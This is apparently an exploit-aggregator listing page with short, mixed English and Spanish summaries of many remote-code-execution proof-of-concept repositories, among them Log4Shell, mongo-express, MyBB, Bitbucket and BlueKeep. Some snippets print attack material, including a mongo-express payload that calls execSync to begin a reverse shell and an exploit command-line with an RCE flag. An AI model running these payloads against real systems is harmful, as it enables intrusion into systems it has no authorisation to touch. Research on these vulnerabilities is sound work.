CVE-2026-86732

Craft CMS versions before 5.10.12 contain a remote code execution vulnerability in the element-index endpoint that allows authenticated content editors to instantiate arbitrary classes through the criteria parameter. Attackers can inject a malicious class via criteriawithTransforms0class that...

cve-2021-44228-log4j-exploits

CVE-2021-4428 Reproducción Este DEMO es una reproducción de la vulnerabilidad RCE de altísimo riesgo Log4j2 CVE-2021-4428, cuyo objetivo es conocer el peligro de esta vulnerabilidad y adoptar defensas específicas según la situación de su sistema. Advertencia Este DEMO es únicamente una...

CVE-2022-26134-Exploit-Detection

Detección de Exploit de Confluence RCE CVE-2022-26134 Requisitos previos 1. ClamAV Clona este repositorio o descarga la regla Yara en tu servidor Confluence Estamos usando la regla Yara proporcionada por volexity/threat-intel, quienes revelaron esta vulnerabilidad por primera vez. Git Clone...

cacti-rce-snmp-options-vulnerable-application

Cacti v1.2.24 inyección de comandos autenticada CVE-2023-39362 aplicación vulnerable Esta es una aplicación vulnerable para probar el exploit de la vulnerabilidad Cacti CVE-2023-39362. ¡ADVERTENCIA! ¡Esta aplicación contiene vulnerabilidades de seguridad graves. Úsela bajo su propio riesgo! Se...

Joplin-CVE-2022-35131

Joplin CVE-2022-35131 XSS leading to RCE in Joplin affecting version 2.8.8 and earlier. Tested and works on Windows and Linux. Reported and fixed: 2022-06 Technical overview 1. Create a note with javascript payload as title POC:s bellow 2. Press Ctrl+P and search for something in the note or titl...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163 - Ejecución remota de código de nombres locales proporcionados por el usuario en Rails Ejecución remota de código de nombres locales proporcionados por el usuario en Rails 5.0.1 Había una vulnerabilidad en versiones de Rails anteriores a la 5.0.1 que permitiría a un...

CVE-2019-10758

CVE-2019-10758 mongo-express remote code execution, reverse shell code as follows: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

poc-cribl-rce

Descargo de responsabilidad Esto es solo con fines informativos/educativos. Esto se ha elaborado para demostrar una inseguridad en la herramienta, de modo que el proveedor pueda verificar una corrección. Información Probado en Cribl v1.5.0 - Las versiones anteriores no se probaron, pero...

CVE-2019-0604_sharepoint_CVE

CVE-2019-0604 CVE-2019-0604 De https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

mybb-CVE-2022-24734

mybb-CVE-2022-24734 MyBB 1.8.29 - Ejecución remota de código root@kitploit: git clone https://github.com/lavclash75/mybb-CVE-2022-24734.git cd "mybb-CVE-2022-24734" docker-compose down docker system prune -a docker rm -f $docker ps -a -q docker volume rm $docker volume ls -q docker-compose up -d...

mi-laboratorio-log4shell

🚀 Automated Log4Shell CVE-2021-44228 Play & Plug Lab An automated, single-command security research laboratory designed to demonstrate and audit the Log4Shell CVE-2021-44228 Remote Code Execution RCE vulnerability. This project consolidates all necessary components vulnerable application, malicio...

CVE-2026-2586

Inyección EL Autenticada en GlassFish RCE CVE-2026-2586 Una vulnerabilidad de Inyección de Lenguaje de Expresiones en la Consola de Administración de GlassFish permite a un usuario autenticado inyectar expresiones EL maliciosas en los parámetros procesados por la interfaz web administrativa. Una...

Codify-TJNULL-OSCP-

Hack The Box — Writeup de Codify Guía completa de pruebas de penetración y writeup para la máquina Codify en Hack The Box. 📌 Información de la Máquina Campo| Valor ---|--- Nombre| Codify SO| Linux Dificultad| Fácil Conceptos Clave| vm2 RCE CVE-2023-30547, Enumeración de BD SQLite, Cracking de...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 He creado un exploit simple en Python para react2shell CVE-2025-55182 USO 1. Guarda el script: Guarda el código anterior como exploit.py. 2. Actualiza los hosts: Asegúrate de que reactor.htb se resuelva a la IP objetivo en tu archivo /etc/hosts. echo " reactor.ht...

CVE-2026-39023

CVE-2026-39023 PoC de RCE - RESPONSIVE filemanager v.9.14.0 última versión - sin parche Proyecto de Github : https://github.com/trippo/ResponsiveFilemanager Requisitos: No se requiere nada, este exploit no está autenticado. La aplicación Responsive Filemanager es una herramienta de gestión de...

CVE-2026-22356

CVE-2026-22356: Jetpack CRM Path Traversal Vulnerability and RCE Warning: This tool should only be used in authorized test environments. The user is solely responsible for illegal use. 📥 Requirements root@kitploit: pip3 install requests urllib3 $ python3 exploit.py https://example.com --rce --cmd...

cve-2022-36804

CVE-2022-36804 Bitbucket PoC Este repositorio contiene un script de explotación en Python para la vulnerabilidad CVE-2022-36804 de Atlassian Bitbucket Server/Data Center. El problema es una falla de inyección de comandos en el flujo de archivado de Git, donde los parámetros prefix manipulados...

UniBLEed

UniBLEed Unitree G1 RCE PoC & Scripts CVE-2026-76639 / CVE-2026-76640 technical details at boschko.ca/g1-ble-rce/ Use this repository only with robots, accounts, and networks you are authorized to test. The active chains can change the robot's WiFi configuration, stop or restart services, crash...

Explotacion-RCE-Pentesting-BlueKeep-CVE-2019-0708-

BlueKeep Vulnerability Exploitation CVE-2019-0708 in a Controlled Environment Academic project focused on the analysis, execution, and troubleshooting during the exploitation of the BlueKeep CVE-2019-0708 vulnerability in the RDP service of Windows Server 2008 R2, developed for the Cybersecurity...

mgo3-rce

MGO3 RCE Este repositorio contiene información sobre CVE-2026-19874. documentación demo en vídeo Cronología 2026-06-26: se descubre la vulnerabilidad 2026-06-26: primer contacto con Konami 2026-07-01: se notifica la vulnerabilidad a Konami 2026-08-04: Konami parchea la vulnerabilidad...